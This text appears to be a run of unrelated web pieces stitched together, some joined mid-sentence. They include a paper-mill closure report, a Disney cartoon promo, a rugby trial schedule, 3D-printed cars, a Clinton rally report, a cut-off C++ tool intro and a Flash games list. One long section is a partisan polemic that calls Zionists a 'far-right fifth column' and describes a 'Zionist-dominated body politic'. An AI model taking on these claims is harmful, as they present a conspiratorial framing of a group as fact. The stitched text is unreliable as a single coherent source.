Catalyst Paper tried capital investment, service improvements and competitive labor agreements to improve the mills' profits. Despite the attempts, Catalyst said the mill could not restore its profitability with newsprint demand down more than 10 percent annually since the end of 2008, higher freight costs and difficulty securing product orders.
The mill purchased old newsprint to recycle, but costs for newsprint have dramatically increased over the past four years. The paper company also attempted to sell the mill.
The announcement comes after the company sought bankruptcy protection under Chapter 15 of the U.S. bankruptcy code in January. Chapter 15 allows proceedings for a foreign debtor to access U.S. Bankruptcy Courts.
Company executives met with employees and union representatives at the Snowflake mill and Apache Railway Company Monday, according to a news release. Catalyst Paper said it will work closely with suppliers and regulators as the site ends operations and is prepared for sale.
The company also met with the Snowflake mill's customers, including retailers, publishers and commercial printers, to discuss transition plans. The company said the closure will not affect its three other paper mills in Canada.
Some in the town worry the announcement could prevent retailers and larger companies from coming to the area, but Watson believes there is a number of "economic engines" that could lure businesses to the area.
"This community is very resilient. They've gone through their highs and lows, and while this is devastating on the surface, I think you'll again see that resiliency to pick up the pieces and make things work the best they can."Over the years, Mickey and Minnie have had many an adventure together. In the latest of the new series of Mickey Mouse cartoons, Mickey proves just how much he’s willing to do to make his lovely lady happy. He battles zoo animals and just generally emerges as the hero of Minnie’s heart.
First, watch the cartoon here exclusively on Disney.com:
Let’s review eight things Mickey does in his quest to impress Minnie and make sure her tummy stops grumbling:
1. Buying a hot dog from what appears to be a walrus working as a vendor.
2. Running through Central Park.
3. Facing an angry mob of nannies.
4. Cooperating with law enforcement.
5. Running through a group of less-than-clean dudes playing cards.
6. Taking on a really really really large lion.
7. Riding on top of that really really really large lion.
8. Cooperating with law enforcement again.
And then he manages to get Minnie the hot dog she wanted all along. And be exalted by the aforementioned law enforcement for apprehending a dangerous subject. Well done, Mickey. Color us (and Minnie) impressed.
Posted 6 years AgoWests Tigers have today confirmed the Club’s trial match schedule leading into the 2017 National Rugby League season.
Over a three-week period in February, Wests Tigers will take part in the NRL Downer Auckland Nines, face St George Illawarra in Wollongong and host North Queensland at Campbelltown.
Officially kick-starting the Club’s 2017 campaign will be the annual NRL Downer Auckland Nines tournament, which will take place on February 4 and 5 at Eden Park in New Zealand.
The following week will see the Club travel to WIN Stadium for a hit-out against the Dragons on February 11, with Wests Tigers last playing an NRL match at the ground in 2008.
Campbelltown Sports Stadium will host its sixth Wests Tigers trial match in seven years, rounding out the pre-season schedule with a Friday night clash against competition heavyweights North Queensland on February 17.
Wests Tigers Members will once again be granted free entry to the Club’s home trial against the Cowboys, with tickets set to go on sale for non-Members at 9am on January 9.
Wests Tigers CEO Justin Pascoe said the NRL trial matches will obviously play a crucial role in the team’s preparations for the upcoming season.
“The Club continues to strengthen its presence in the Macarthur region with the confirmation of our final trial match for 2017 - which is set to bring star-studded North Queensland side to Campbelltown,” he said.
“We will also play a trial match in Wollongong against the Dragons, with the NRL side set to play at WIN Stadium for the first time in over eight years.
“The Club can also confirm that all Wests Tigers Members for the 2017 season will have access to the Cowboys trial as part of their package, increasing the value of becoming a Member as we target another record-breaking year in this department.
“I’m sure Wests Tigers Members and supporters are eager for the footy to be back, with everyone at the Club just as excited as we prepare for a big 2017,” he said.
Wests Tigers Holden Cup and Intrust Super Premiership trial matches will be confirmed in the near future.
2017 Trial Match Schedule
Saturday, February 4 to Sunday, February 5
NRL Auckland Nines (Eden Park, Auckland)
Saturday, February 11
St. George Illawarra vs. Wests Tigers (WIN Stadium, Wollongong, 7:40pm)
Friday, February 17
Wests Tigers vs. North Queensland (Campbelltown Sports Stadium, 7:00pm)
Event Details — Gates open: 6:30pm, Kick-off: 7:00pm
Tickets — On sale: 9am, January 9
FREE for 2017 Wests Tigers Members or $10 entry for General Public.Local Motors, the world's most prominent maker of 3D-printed cars, announced this week that it plans to offer pre-sales of its series of 3D printed models starting in spring 2016. It estimates the sticker price for the LM3D series, including the new Swim model seen above, to be around the $53,000 mark.
See also: Audi just 3D printed a mini 1936 Grand Prix race car
The dune-buggy-like 3D-printed cars will be manufactured in a "microfactory" currently under construction in Knoxville, Tennessee. The company anticipates the production facility to be completed by the end of 2015. There, cars will be constructed "using direct digital manufacturing (DDM), of which 3D-printing is a part," according to a company press release.
If Local Motors meets that targeted timeline, it should be able to begin delivering cars to customers in early 2017.
Ignoring the vast numbers of future promises and variables to this announcement, it's fairly significant. Although major carmakers like Audi are 3D printing things like 1:2-scale race car replicas for fun, Local Motors will be the first company to offer (at least partially) 3D-printed cars for sale to the public.
Image: Local Motors
Some of you might notice that the $53,000 estimated purchase price for the new LM3D series is a bit higher than the (estimated) $18,000 Strait model we drove this. That's because the Swim — like the rest of the LM3D series — is a "fully homologated, highway ready car," a Local Motors told Mashable.
Regardless, it'll be interesting to see if Local Motors can keep its proposed timeline. It will be even more interesting to see how many people line up for a $53k 3D-printed car. After all, for that money, buyers can get a 2016 Mercedes-Benz E-Class.
Local Motors points out that the Swim a rapid iteration that showcases the advances the company has made. The final LM3D should have a lot more creature comforts that justify the sticker price. We'll have to wait and see.
Update: We added details about the Swim and the LM3D series.The idea that Tony Greenstein, the Jewish leftist in Brighton recently suspended from the Labour Party apparently for ‘anti-semitism’, has to prove that he is not ‘anti-semitic’ should be just absurd. It is a sign of the irrationality and demented character of the political atmosphere in and around the Labour Party, with the party leadership under extreme pressure from Zionist witchhunters, that a long time Jewish left-wing activist like Greenstein should feel obliged to ‘prove’ he is not an anti-Jewish racist.
One wonders how many black members of the Labour Party face suspension expulsion for anti-black racism, or how many of Chinese heritage face suspension for anti-Chinese bigotry? If there were such, it would make the Labour Party into the butt of stand-up comedy, not of serious political controversy. The fact that this can even be conceived in Labour is only due to the irrational nonsense peddled by Zionist racists within and without the Labour Party, that those who fail to support the Zionist project are motivated by anti-semitism (anti-Jewish racism), and that those Jews who do this are ‘self-hating Jews’. But in the absence of oppression, allegations of ‘self-hatred’ (which if it existed would simply stem from internalised oppression) are themselves a racist slur, denying the right of people of Jewish origin to choose a non-Zionist form of Jewish identity, or even to reject Jewish identity altogether, as ways to oppose the virulently racist form of ‘Jewishness’ embodied in political Zionism.
The latter accusation shows the far right, racist character of Zionism even in the Labourite context, as the ‘self-hater’ epithet, also sometimes rendered as ‘Jewish anti-semite’, is identical to the epithet ‘race traitor’ used by the white far right in the main imperialist countries. It really shows that Zionists constitute a far-right fifth column in the Labour Party, as an agency of a racist state whose followers would be quite prepared to act as instigators of the same kind of fascist-like repression against workers organisations that Israel does against Palestinians in the Middle East if they felt it necessary.
We in Socialist Fight are ourselves facing blood libels from Zionists; our Marxist analysis of the Jewish question and Zionism today has been portrayed as akin to Nazism by bourgeois commentators and some on the so-called ‘far left’ have either joined in with this rubbish, or vacillated wildly in the face of the pressure from the bourgeoisie and the Zionists. We continue to demand all the socialist and Marxist left in and around the Labour Party engage in a principled United Front to defend each other from the right-wing and the Zionists, in which all tendencies stand together on the principle that ‘an injury to one is an injury to all’, while retaining full freedom of debate.
A Jewish supporter of Socialist Fight provided us with a pretty sharp commentary on the nonsense being thrown at SF and others by all kinds of Zionists and capitulators to it. She wrote
“It seems to me although you are not Anti-Semitic (not all Jews are Semitic although I am) most of your critics are whether in a blatant or covert way. Do they actually know that Israel is an artificial concept? I have been called a self-hating Jew many times on what evidence I do not know. However once again I would like to say you are defined a Jew if: “1. You have a Jewish mother. This does not make you a Semite as a considerable amount of East Europeans converted to the Jewish religion.
2. If you convert this of course does not make you a Semite. “As many Muslims are Semitic surely that makes the Zionists anti-Semitic. So using Zionist logic I, a Semite who supports my Palestinian cousins who are also Semite, am anti-Semitic. However Zionists of all stripes who may and often are not Semites but support the state of Israel in whatever they do legal or illegal cannot be anti-Semitic. THIS DOES NOT MAKE SENSE.”
If it is absurd for Tony Greenstein to have to prove he is not anti-semitic, it is just as absurd for the Israeli-Jewish-born Jazz Saxophonist Gilad Atzmon to have to prove such either. Neither of them would have to prove any such thing in a rational world, since both of them have similar ethnic origins – they are both Jewish by birth. Its only in the world of the Zionist-dominated body politic that we live under that people of Jewish origin have to prove that they are not anti-semitic, i.e. that they do not hate their own people purely for the ethnic origins that they share. In fact, by sleight of hand, the Zionists have expanded the definition of ‘anti-semitism’ so that you do not have to hate people of Jewish origin in general to be so accused. It’s enough to express disgust at Zionist crimes, or attempt to analyse the way Zionists organise politically to stamp on opposition to those crimes, to be accused of ‘anti-semitism’ today. This does have the effect of devaluing the meaning of the term.
Tony Greenstein, in trying to prove that he is not anti-semitic, i.e. that he is not a witch to the Labour Zionist witchhunters, has flip-flopped (not for the first time) over the long contentious issue of Gilad Atzmon, Previously, in the course of some uncharacteristically fraternal debates with Socialist Fight, where he repeated his usual nonsense about ‘anti-semitism’, he had in a sly but somewhat ‘soft’ tweet intimated that he did not consider either ourselves or Atzmon to be Jew-haters in a personal sense. At the time he was trying to reconcile the obvious fact that Socialist Fight comrades are active and militant anti-racists with the elements of genuine anti-Zionism that we share with Atzmon – the willingness to analyse, criticise and expose the international dimension of Zionism. He believes that to believe that Zionism is a Jewish bourgeois international movement is to be ‘anti-semitic’, yet we are obviously not racists at all; anyone who knows us or is not blinded by class or race prejudices can see that. So he looked for a way to resolve this contradiction in his own ideology and came up with this in the course of a Twitter exchange with me:
He was obviously getting carried away by the objective need in this situation for a United Front of those anti-Zionist socialists under the gun of the Zionists, feeling the pressure enough to deviate somewhat from his previously virulent hostility to Socialist Fight, and Gerry Downing and myself in particular. Which is why he tweeted this at me as part of a reasonably political exchange.
Unfortunately, this tangled him up in some pretty acute contradictions given his decade-long campaign to ostracise Atzmon from the left, but also to vilify anyone else in the left who did not join in his anathema. The sophistry involved with Enoch Powell in the above tweet is pretty transparent. Blacks and Asians who have suffered from racial abuse and violence from Powell supporters would probably regard the idea that Powell was not personally racist as absurd and somewhat offensive. Tony is not stupid, he knows that this is a fig-leaf that no-one honest will take seriously (see my deconstruction of this in my recent article Zionism’s International Dimension: Revolutionary Strategy).
But Greenstein does not have a settled position on Atzmon, just a gut antipathy that does not have a coherent theory behind it. This is why his writings are so full of bluster and contradiction when this comes up. He has now received help from the Zionist blogger BobFromBrockley, who helpfully provided him with a tweet Atzmon sent in 2014, in response to some Zionist twitter warrior.
According to Bob from Brockley, this tweet is suppposed to prove that Atzmon is a racial anti-semite, that he hates all Jews for racist reasons, which is really the implied meaning of any allegation of anti-semitism.
But though it looks bad at first sight, and is certainly a foolish and self-defamatory thing to tweet, something does not add up about the allegation that it represents ‘racist’ anti-semitism. The obvious point is the phrase ‘I am not a Jew anymore’. No ‘racial’ anti-semite could ever say that or believe that. It would as absurd as to say ‘I am not a black person’ any more. That is not the way the world works. You cannot change your ethnic origin any more than you can change your skin colour. Nor is there any suggestion that this is about the Jewish religion, Atzmon is not markedly either religious or anti-religious and is not hostile to anti-Zionist religious Jews. In fact, he has more regard for them than he does for many anti-Zionist secular Jews.
Twitter is a notoriously difficult medium to communicate nuance. It does appear that this tweet was simply a response in a heated exchange to a noxious Zionist troll who was subsequently suspended from Twitter for threatening violence against George Galloway. Who of course had been beaten badly by an ultra-Zionist thug only a few months earlier. I doubt that would bother Bob From Brockley much. But I am sure it would bother Tony Greenstein.
The tweets of OnePoundOne are no longer available, as his account was suspended as a result of these threats. But it seems obvious that if such a odious person as this had malevolently purported to appeal to Atzmon as a “fellow Jew”, he would likely have received a pungent response like this. All this really means is that Twitter is extraordinarily easy to quote out of context.
I commented on what is behind this kind of verbiage from Atzmon a while ago on the Socialist Unity blog, when I wrote:
“He divides Jews into three categories: religious Jews, people simply of Jewish origin, and people who regard their Jewishness as a political identity. These are not mutually exclusive, but they are separate and separable strands. He says his materials are actually only criticisms of the third strand or category.” “He does tend to use ‘Jew’, ‘Jewish’ and ‘Jewishness’ too freely as shorthand for the third strand, which causes confusion and makes it easy to misunderstand him and/or quote him out of context. He seems to enjoy the heated arguments that result from such things, which is a flaw in my opinion, and sometimes generates more heat than light.”
(http://socialistunity.com/campaign-demonisation-george-galloway-constitutes-incitement/#comment-700318)
This was another example of the left’s inability to deal with Atzmon and people like him, and to get their heads around the fact that thanks to the sheer barbarism of Israel’s crimes, there are now people of Jewish origin who are so disgusted by being involuntarily associated with them that they express extreme disgust at being born and brought up Jewish. This thread was supposedly defending George Galloway from his Zionist tormentors on Question Time. I was excluded from SU by Socialist Unity’s erratic honcho Andy Newman for agreeing with Galloway’s defence of and sympathetic interview with Atzmon on Sputnik. The irony of this is incredible. If Galloway had posted comments defending his defence of Atzmon in a thread supposedly defending Galloway, he would logically have been excluded too!
One might wish Gilad Atzmon would be more careful in his use of language. But from his standpoint, since he is of Jewish origin anyway, he does not see the need.
Atzmon shares much with Shlomo Sand on the substance of this, though not in style. Sand wrote last year:
“How, in these conditions, can individuals who are not religious believers but simply humanists, democrats and liberals, and endowed with a minimum of honesty, continue to define themselves as Jews? In these conditions, can the descendants of the persecuted let themselves be embraced in the tribe of new secular Jews who see Israel as their exclusive property? Is not the very act of defining yourself as a Jew an act of affiliation to a privileged caste which creates intolerable injustices around itself?” (How I Stopped Being a Jew, 2015 p87)”
Atzmon’s version of this is somewhat similar, as revealed recently in an article criticising the politics of Michael Rosen, another leftist of Jewish origin who insists on ‘self-identifying’ as Jewish in a political, not merely an ethnic sense. Rosen produced a short posting on ‘anti-semitism’ in the Labour Party, demanding a ‘strong united left’ to ‘protect’ Jews from anti-semitism:
“Anti-semites would identify me as Jewish. (I self-identify that way too, but let’s leave that to one side for the moment). “Given that’s what anti-semites do, on occasions I have to ask myself, who I would turn to for assistance in the case of unwarranted attacks, persecution, harassment or pogroms?” (cited at http://www.gilad.co.uk/writings/2016/4/9/michael-rosen-and-the-kosher-san)
Atzmon’s response is pungent, but it does clarify exactly what he rejects about “Jewishness” on the one hand, and what he does not and cannot reject:
“According to Rosen, anti Semites will identify him as Jewish, then in the same line, he writes that he “self-identif[ies] that way too.” So according to Rosen, the anti Semites are actually correct in identifying Rosen as what he is, that is, a Jew “But Rosen then claims that those who identify him as what he declares himself to be are anti Semites. I wonder, since Rosen identifies himself as a Jew, how does he know that he isn’t himself an anti Semite? Are there some criteria? “Rosen’s Jewishness is an odd entitlement. He is entitled to identify as a Jew while the rest of us are advised that identifying him as such turns us into ‘hate mongers.’ “In my writing I delve into Jewish Pre TSD. Jews are often tormented by a phantasmic traumatic event set in the future. No one exemplifies this mental condition better than the Jewish poet. ‘I have to ask myself, who would I turn to for assistance in the case of unwarranted attacks, persecution, harassment or pogroms?’ What persecution, what pogroms, Mr. Rosen? You are one of Britain most beloved children’s poets. You are not a Syrian refugee, no one calls to kick you out of the country. You are not the oppressed. Why do you feel the need to prepare for a pogrom? Is it guilt on your part? Are you hiding something? “Let me tell you, Mr. Rosen, none of my Jewish friends are afraid of pogroms or ‘unwarranted attacks.’ In the eyes of the so called ‘anti Semites’ I should be seen as a Jew, my kids are also ethnically Jewish and yet, the fear that you describe in your statement is totally foreign to us. We are free of fear. We enjoy our lives, we listen to music, we love each other and pray for peace. What we don’t do is imagine the next pogrom. Is it because we do not identify politically as Jews?” (http://www.gilad.co.uk/writings/2016/4/9/michael-rosen-and-the-kosher-san)
This is very clarificatory about the substance of the debate between Atzmon and his left-wing, non-Zionist Jewish critics is about. It is not about ‘race’ or anything like it. It is rather about whether a progressive, non-Zionist non-religious Jewish identity is possible or even desirable. The heated conflict between Atzmon and his critics is mainly because he answers”No” to that question. It is a heresy hunt, in other words.
It is perfectly natural for those concerned with humanism and the like to find detestable something that ‘creates intolerable injustices around itself” in Sand’s words. Whether this is the correct political response is a subject for debate according to the norms of democracy that are part of the best traditions of the workers movement. What people like BobFromBrockley, who support the kind of ‘intolerable injustices’ Sand is talking about, have to say about this is less clear. Such people are hostile to workers democracy for opponents of Zionism. Greenstein, and people like him, who want to keep one foot in each camp over such democratic questions, are sooner or later going to have to make a choice.
We as Marxists do not take a definitive position on this. In our view, there is nothing inherently either good or bad about Jewish identity. Just as there is nothing inherently good or bad about being gay or lesbian, or identifying with any national or ethnic group. What we are for is freedom to choose, and opposing all discrimination and oppression not only against those who embody or embrace a particular identity, but also against those who reject such, provided they do not seek to violate the rights of others. This is separate from the question of Zionism, which is a racist project that oppresses the Palestinians and must be opposed down the line. The heresy hunt against Atzmon and the attempt to bully the left into ostracising him and those who are influenced by him is something we oppose tooth and nail because of our commitment to workers democracy and the right to free inquiry into questions of identity and related matters.For some time, I have wanted some tool to monitor the performance of some of my projects. There are plenty of tools for Continuous Integration and Sonar is really great for continuous monitoring of code quality, but I haven't found anything satisfying for monitoring performance of C++ code. So I decided to write my own. Continous Performance Monitor (CPM) is a simple C++ tool that helps you running benchmarks for your C++ programs and generate web reports based on the results. In this article, I will present this tool. CPM is especially made to benchmark several sub parts of libraries, but it perfectly be used to benchmark a whole program as well.
The idea is to couple it with a Continuous Integration tool (I use Jenkins for instance) and run the benchmarks for every new push in a repository. With that, you can check if you have performance regression for instance or simply see if your changes were really improving the performance as much as you thought.
It is made |
Hillary Clinton Hillary Diane Rodham ClintonREAD: Cohen testimony alleges Trump knew Stone talked with WikiLeaks about DNC emails County GOP in Minnesota shares image comparing Sanders to Hitler Holder: 'Time to make the Electoral College a vestige of the past' MORE will cap off her presidential campaign with a blockbuster lineup at her final rally on the night before the election.
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The Democratic presidential nominee will be joined by her husband, former President Bill Clinton William (Bill) Jefferson ClintonKasich fundraises off 2020 speculation Inviting Kim Jong Un to Washington Howard Schultz must run as a Democrat for chance in 2020 MORE, daughter Chelsea Clinton, President Obama and first lady Michelle Obama Michelle LeVaughn Robinson ObamaChicago's next mayor will be a black woman Obama portraits brought more than 1 million visitors to National Portrait Gallery in first year Barack and Michelle Obama announce new heads of their production company MORE in Philadelphia on Monday night, according to the campaign
The last time they were all together — also in Philadelphia — was when Hillary Clinton accepted her party's nomination at the Democratic National Convention this summer.
During the Monday night rally, Clinton will focus on why she believes Republican nominee Donald Trump Donald John TrumpREAD: Cohen testimony alleges Trump knew Stone talked with WikiLeaks about DNC emails Trump urges North Korea to denuclearize ahead of summit Venezuela's Maduro says he fears 'bad' people around Trump MORE is unqualified to serve as president and how his policies will create division in America.
President Obama will make the case that the former secretary of State is best suited to carry on and strengthen the progress made in his administration, according to the campaign.
Both Obamas have been power players on the campaign trail as they seek to draw contrasts between Clinton and Trump.
The first lady has notably become the breakout star in this election, giving several impassioned, emotional speeches about why Trump is unfit to serve in the White House.
The high-profile campaign appearance comes as the presidential race has tightened in recent weeks. Clinton now leads Trump by less than 2 points nationally, according to the RealClearPolitics polling average.
In Pennsylvania, Clinton leads Trump average by 3.8 points. The battleground state does not allow early voting, which makes Monday's get-out-the-vote event a massive rally on the eve of polls opening statewide.The 150 Best Online Flash Games
It was a long and exhausting task: playing hundreds of online games for hours in a row, day after day. It was hard, but someone had to do it.
The result is the list that you will find below. Enjoy!
Action Games
1. IndestructoTank
As you probably guessed, on this game, you get to drive an indestructible tank around. Once attacked by enemies’ bombs, the tank will be blasted into the sky and you will be able to hit the helicopters and planes. The more enemies you manage to take down on a single combo, the more points you earn. Make sure to reach the required experience points before your fuel ends.
Click here to play IndestructoTank
2. Electricman2HS
A fighting game where you need to beat down several opponents at the same time. The variety of kicks, punches, throws and defensive movements really creates a funny experience. You even have slow motion movements a la Matrix!
Click here to play Electricman2HS
3. The Fancy Pants Adventure
Think about Sonic the Hedgehog with a more clean design and some physics effects added. Ah, and a character that wears some really fancy pants! Just run through the levels, avoiding the monsters and collecting the swirls and trophies.
Click here to play The Fancy Pants Adventure
4. Dino Run
On this game you play a small dinosaur that is trying to escape the imminent extinction from a fallen meteor. You basically need to run among obstacles, hills and fellow dinosaurs that are also trying to escape. Putting it short: Run like there is no tomorrow!
Click here to play Dino Run
5. Matrix Rampage
The Matrix fans out there will have fun with this one. You play as Neo in this game, jumping to and from floors on buildings and killing agents along the way. Guns, swords, staffs and pretty much everything else on the scenario can be used to get the job done.
Click here to play Matrix Rampage
6. Amorphous+
The Gooples are all around you. They are colored bubbles that float around trying to kill you. Luckily, you are not alone. You have a huge-ass knife to cleave them all!
Click here to play Amorphous+
7. Double Wires
Ever wanted to fly around like Spider Man? With this little Flash game, you can get close to it. You’ll use your mouse to shoot two wires and prevent the little guy from falling. The objective is to go as far as possible.
Click here to play Double Wires
8. Final Ninja
We couldn’t leave ninja games out of the list, right? On Final Ninja, you command a little (but badass) ninja on a side-scrolling adventure. Your tool belt comes with throwing stars, a grappling rope and the ability to become invisible. Pretty cool.
Click here to play Final Ninja
9. Gunmaster Onslaught 2.0
On Gunmaster Onslaught, you play an army commando who has to stay alive as long as possible by surviving the assault of the enemies. At your disposal, you have guns, mines, and even rocket launchers! Move around to collect the ammo as well.
Click here to play Gunmaster Onslaught
10. Robokill
Very engaging game where you play a mercenary robot trying to destroy the invaders of Titan Prime. There are several levels, each with a large number of interconnected rooms that you need to go through. You will also earn money, which allows you to buy new weapons and armor.
Click here to play Robokill
11. N
One of the most famous games on the web. On N, you get to play a Ninja who needs to capture golden cubes and escape the level within 90 seconds. On your way, you will find mines, lasers and even heat-seeking missiles! The physics involved and the overall game play are superb.
Click here to play N
Aim and Shoot Games
12. Throw Paper
Very simple game where you need to throw a ball of paper on the bin. The direction arrow keeps swinging on both directions, and there is always a bit of lateral wind to increase the challenge. The objective is to hit the bin as many times in a row as possible.
Click here to play Throw Paper
13. Bowmaster
Bowmaster has some strategy and RPG elements, but you will win the game with the accuracy of your aim. All you have is your bow, and you need to defend your castle from a horde of assaulting ogres. Your mouse controls both the direction and the power of the arrows.
Click here to play Bowmaster
14. Cyrkam Airtos
On this game, you have to catch a paper ball that will be thrown at you by a friend, then shoot it on the bin. The shooting part is controlled by your mouse movements. Every time you score, the bin will also be moved backwards or forward.
Click here to play Cyrkam Airtos
15. Bowman
An archery game where there is no target. Instead, you get to shoot your arrows directly at another opponent! It can be played both against the computer and against another human player (each one taking a turn).
Click here to play Bowman
16. Binball Wizard
Another bin-throwing game — but this time, instead of a paper ball, you get to kick a soccer ball. The scenario is a standard office, and the bin is moved around each time you score. The physics effects definitely boost the game quality.
Click here to play Binball Wizard
17. Bloons
Very addictive game where you play a dart-throwing monkey. On each level, you will have a large number of balloons, a specific number of dart throws, and a required number of balloons to pop.
Click here to play Bloons
Arcade and Classic Games
18. Commander Keen
If you never played Commander Keen, you are with the minority. This classic has been revived on Flash, and while the quality is not outstanding, it will sure entertain the series fans for a while.
Click here to play Commander Keen
19. Tetris
Perhaps the most famous game world wide, we sure could not leave it out of the list. Tetris is guaranteed to keep anyone busy for a couple of hours. The Flash version is pretty basic, but it gets the job done.
Click here to play Tetris
20. Frogger
The game hasn’t change at all since its debut on arcade machines many years ago. Get the little frog from his home to the top of the screen — all while crossing a highway full of vehicles and a river where you have to step on logs to avoid crocodiles.
Click here to play Frogger
21. Pong
The very first video game ever is also available on Flash. This little piece of game is coming straight from 1972! Just move your paddle and don’t miss the ball.
Click here to play Pong
22. Insane Orb
You can also play a more hardcore version of Pong called Insane Orb. The principle is the same, but on the different levels you will have gravity fields, bouncing blocks and other items.
Click here to play Insane Orb
23. Space Invaders
When a game has its own Wikipedia page, you know it must be good, right? This is one of the earliest shooting games ever and also the top rated arcade game by the Guinness World Records book.
Click here to play Space Invaders
24. Super Smash Flash
Super Smash Bros, anyone? If you never played it, it is basically a fighting game where you can match the characters from several Nintendo game titles, including Mario, Zelda and Pokemon. Not as good as the original (the game was released for the Nintendo64, after all), but still funny to play.
Click here to play Super Smash Flash
25. Pacman
Another great hit from the arcade games. Some research confirmed that over 94% of the North American population recognizes the Pacman character. No kidding!
Click here to play Pacman
26. Pacxon
Love Pacman, but tired of beating the same levels? Well, give Pacxon a try. You will need to “cut out” 80% or more of the screen without getting hit by ghosts. On each level, more ghosts will be floating around. Some of them even have special powers.
Click here to play Pacxon
27. Contra 20th Anniversary Edition
Created by Konami, the Contra series first appeared on arcades. They became extremely popular, though, with the console versions for the NES and the SNES. The game is basically a shoot-’em-up with a side-view perspective.
Click here to play Contra 20th Anniversary Edition
28. Super Mario World Flash
Super Mario World is the most famous platform game ever published. It sold 20 million copies for the SNES alone, becoming the all time best seller game title for that console. While not perfect, the Flash version is not bad at all.
Click here to play Super Mario World Flash
29. Metal Slug Flash
Another classic “run and gun” game title. You will need to shoot an endless stream of enemies with all sorts of weapons and vehicles. Needless to say, at the end of each level, you will also need to kill a boss. Classic!
Click here to play Metal Slug Flash
30. Raiden X
Vertical shoot-’em-up where you have an airplane and need to kill the enemies coming on the opposite direction. As you would expect, you have several weapon upgrades along the way, stationary cannons, big bosses and lots of fun.
Click here to play Raiden X
Tower Defense Games
31. Onslaught
A classic tower defense game where you have several types of turrets at your disposal. The cool twist of this game is that you are able to upgrade your turrets, and depending on the combination, you can make them work together for a combo attack. The first levels are easy, but keep going until it gets tough.
Click here to play Onslaught
32. Protector
Protector is a mixture of tower defense and a tactical RPG game. In order to destroy the hordes of rats, ogres and other enemies, you will need to employ wizards and knights. You can level the characters up, make them focus on special attacks and so on. Despite the simple game play, there is a good deal of strategy involved.
Click here to play Protector
33. Vector Tower Defense
Minimalist tower defense game where you need to eliminate the incoming vectoids. They come in different colors and shapes, and you can build and upgrade towers that will fire lasers and rays. The electronic background music sure contributes to the futuristic atmosphere.
Click here to play Vector Tower Defense
34. Bloons Tower Defense 3
A tower defense game with dart throwing monkeys? You betcha! Pop all the balloons before they reach the end of the track. For this purpose, you can use dart throwing monkeys, boomerangs, cannons, bombs, road spikes and more!
Click here to play Bloons Tower Defense 3
35. GemCraft
Another tower defense game with a touch of fantasy and RPG. As usual, you need to prepare your defense against the incoming enemies (insects), and at your disposal, you have magical gems that cast damaging spells. Combine the gems to get more powerful spells.
Click here to play GemCraft
36. Desktop Tower Defense
Arguably the most popular Flash game ever created. Within a few months of its release, it had already been played more than 15 million times. You basically need to set up your defense to make sure that no “creep” will reach the other side of the playing field. Different towers have different abilities, and you also have complete freedom on where you place the towers.
Click here to play Desktop Tower Defense
Escape the Room Games
37. Crimson Room
The game that popularized the genre. You wake up on a unknown room, the door is locked — and somehow, you have to escape. All you have is your brain and your mouse to click around.
Click here to play Crimson Room
38. Viridian Room
If you liked Crimson Room, give this game a shot as well. It was created by the same Japanese software house, and you will have new mysteries to solve before getting out of this one.
Click here to play Viridian Room
39. CDX
CDX has that most polished graphics you will probably see in a Flash game for a while. In fact, they used real actors and video segments inside the game. The first episode is called “Amnesia,” and again, you need to find out what is going on on the room where you wake up.
Click here to play CDX
Graphical Adventures
40. Samorost 1
A combination of interactive graphic art with an engaging story line. On Samorost 1, you have to help a dude save his planet by avoiding a collision with another. Click on most things around, and try to figure a logical order to keep the crash from happening.
Click here to play Samorost 1
41. Samorost 2
On Samorost 2, you help the little dude again — but this time, he’s out to recover his puppy that was kidnapped by two aliens. The sequel for sure exceeds its predecessor in terms of graphics and gameplay.
Click here to play Samorost 2
42. Warbears
On this game, you command a group of war bears that are called to solve a robbery on a local bank. You will need to click around on the right order to make things work. Here, each character has different actions to perform, making the whole thing more fun.
Click here to play Warbears
43. Quest For The Rest
This game was created to promote a band — hence why the background sound is amazing. You need to guide three members of the Polyphonic Spree to the rest of the band. Make sure to go through all levels, because in the end you will get access to two live tracks.
Click here to play Quest For The Rest
Guitar Hero Games
44. Tenacious D
Not the easiest of the Guitar Hero clones, but once you get the flow going, it becomes fun. Hit the ASDF keys at the right time, and use the space bar to strum the guitar.
Click here to play Tenacious D
45. Flash Hero
Flash Hero displays the upcoming notes vertically, as in the original Guitar Hero game. You will need to use the numbers 1 to 6 to hold the string, and the backspace to strum the guitar. Definitely playable on the easy mode.
Click here to play Flash Hero
46. Coolio Beat 2
Choose among eight different songs, each with a different skill level. You even get to play Mission Impossible here! Use the numbers from 1 to 4 to choose the right note, and space to strum the guitar.
Click here to play Coolio Beat
47. Super Crazy Guitar Maniac 3
The latest release on this series. On Super Crazy Guitar Maniac 3, you have a great collection of songs to choose from (some of which will need to be unlocked first). The gameplay involves both the keyboard arrows and the numbers. You just need to hit them at the right time though — there is no need to strum the guitar.
Click here to play Super Crazy Guitar Manic 3
Jewels Games
48. Blocky
On this game, you have colored squares laying around and you have to drag a rectangle where the four corners have the same color. Once you release the mouse, you will collect all the squares inside your rectangle. The larger the rectangle, the more points you make, until you’ve cleared the level.
Click here to play Blocky
49. Ring Mania
Simple game where you have a rotating circle in the middle (use the left and right arrows to rotate it) and colored rings falling from the top. Match three rings with the same color to make them pop and score points.
Click here to play Ring Mania
50. Bejeweled
Very addictive game where you have to swap adjacent gems to align a set of three or more similar gems. You can also make combos and cascades to score more points. The game has two versions: a normal and a timed one.
Click here to play Bejeweled
51. Zuma
On Zuma, you have a train of jewels that move along a track, and on the center of the scenario you control a frog that spits jewels of different colors. Your objective is to align three or more jewels of the same color to make them pop, making sure that the train will not reach the end of the track. Cool graphics and sound effects complement the game.
Click here to play Zuma
Logic Games
52. Puzz Pinball
Guide a pinball ball from the point where it is dropped all the way to the exit hole. On each level, you will have several pinball elements at your disposal that can make the ball bounce, change its direction and so on. There is also a good amount of flexibility, given the fact that you can rotate each of the elements.
Click here to play Puzz Pinball
53. CuberXtreme
Well-polished game where you have to push cubes around to match colors and make them vanish. There are many different types of cubes as well, from joker ones that can be combined with any color to pet cubes that give you one free push. The first levels work as a basic tutorial, and the fun starts after that.
Click here to play CuberExtreme
54. Tangram
These days you can find any game on Flash! Tangram is the classic Chinese game where you have to combine seven differently shaped pieces to make them match a figure that’s presented to you.
Click here to play Tangram
55. Cursor*10
Strange at first, but brilliant once you see what is going on. On this game, you click on stairs, boxes and other objects to make your way up to the 16th floor of a building. You have to do that within 10 different runs, each controlling a different mouse cursor!
Click here to play Cursor*10
56. 3D Logic Cube
Simple yet challenging game. You just need to connect the colored squares on a 3D cube, without overlapping the connections. Easy? Try to reach the level 30, then!
Click here to play 3D Logic Cube
57. Blueprint
